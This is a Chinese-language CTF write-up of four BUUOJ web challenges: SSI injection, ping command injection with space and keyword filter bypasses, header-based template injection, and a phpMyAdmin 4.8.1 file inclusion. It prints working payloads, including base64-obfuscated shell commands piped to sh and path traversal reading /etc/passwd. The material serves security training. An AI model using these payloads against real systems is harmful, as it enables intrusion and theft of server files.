buuoj_command_execution


[BJDCTF2020]EasySearch

掃描一下目錄,發現.swp備份文件源碼泄露

<?php
    ob_start();
    function get_hash(){
        $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
        $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
        $content = uniqid().$random;
        return sha1($content); 
    }
    header("Content-Type: text/html;charset=utf-8");
    ***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
            ***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
            echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
    ***
    }
    ***
?>

 

審計一下,邏輯是首先隨機獲取文件名的一個函數,讓password前6個字符的md5加密值等於6d0bc1,然后會在public目錄下創建一個shtml文件,再將post傳參的username字段寫入這個shtml文件中。

前6個字符的md5值等於6d0bc1的腳本如下:

import hashlib
def md5(s):
    return hashlib.md5(s.encode('utf-8')).hexdigest()
for i in range(1, 10000000):
    if md5(str(i)).startswith('6d0bc1'):
        print(i)
        break

 

跑出結果是2020666,先測試一下網站基本功能,用戶名aaa,密碼2020666登錄進去,在network處獲得文件路徑(抓包也可以看到)

 

訪問查看結果

 

利用SSI注入漏洞,我們可以在username變量中傳入ssi語句來遠程執行系統命令。

<!--#exec cmd="命令"-->

(shtml是一種基於SSI技術的文件。SSI 注入全稱Server-Side Includes Injection,即服務端包含注入。SSI 是類似於 CGI,用於動態頁面的指令。SSI 注入允許遠程在 Web 應用中注入腳本來執行代碼。SSI是嵌入HTML頁面中的指令,在頁面被提供時由服務器進行運算,以對現有HTML頁面增加動態生成的內容,而無須通過CGI程序提供其整個頁面,或者使用其他動態技術。從技術角度上來說,SSI就是在HTML文件中,可以通過注釋行調用的命令或指針,即允許通過在HTML頁面注入腳本或遠程執行任意代碼。IIS和Apache都可以開啟SSI功能)

(SSI注入的條件:

1.Web 服務器已支持SSI(服務器端包含)

2.Web 應用程序未對對相關SSI關鍵字做過濾

3.Web 應用程序在返回響應的HTML頁面時,嵌入用戶輸入)

 

輸入payload:<!--#exec cmd="ls ../"-->登錄,訪問network處的url

 

訪問flag_990c66bf85a09c664f0b6741840499b2目錄后得到flag

 

參考:

http://www.mamicode.com/info-detail-2936273.html

https://blog.csdn.net/qq_40657585/article/details/84260844

http://blog.gr0wth.top/index.php/00000/137.html

 

[GXYCTF2019]Ping Ping Ping

打開題目,提示在 url 傳入 ip 參數

 

傳入 127.0.0.1 發現服務器執行 ping 命令

 

用分號拼接 linux 命令(順便復習一下命令連接符分號是依次順序執行;&&第一個命令成功第二個命令才會執行;||第一個命令成功第二個命令不執行,第一個命令失敗第二個執行;|是命令1的正確輸出作為命令2的操作對象)

 

過濾了空格,$IFS$9 繞過后也無法直接讀取 flag.php,先讀一下 index.php(若不過濾的話,還有 ${IFS}、<、<> 等多種方式可以繞過過濾空格)

 

payload1,內聯執行,將反引號內命令的輸出作為輸入執行

/?ip=127.0.0.1;cat$IFS$1`ls`

 

payload2,命令執行變量拼接

/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

 

payload3,過濾 flag、bash,用 sh 執行(Y2F0IGZsYWcucGhw 是 cat flag.php 的 base64-encode)

/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

 

參考:

https://www.ghtwf01.cn/index.php/archives/273/

 

[BJDCTF2020]The mystery of ip

瀏覽題目 flag.php 頁面和 ip 有關,發現 Client-IP 和 XFF 可以控制輸入

 

嘗試邏輯運算 {1*2} 和執行系統命令 {system('cat /flag')} 得到 flag

 

[GWCTF 2019]我有一個數據庫

掃目錄發現 /phpmyadmin,版本是 4.8.1

存在文件包含漏洞,使用網上的 payload 讀到 flag

?target=db_datadict.php%253f/../../../../../../../../etc/passwd
?target=db_datadict.php%253f/../../../../../../../../flag

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM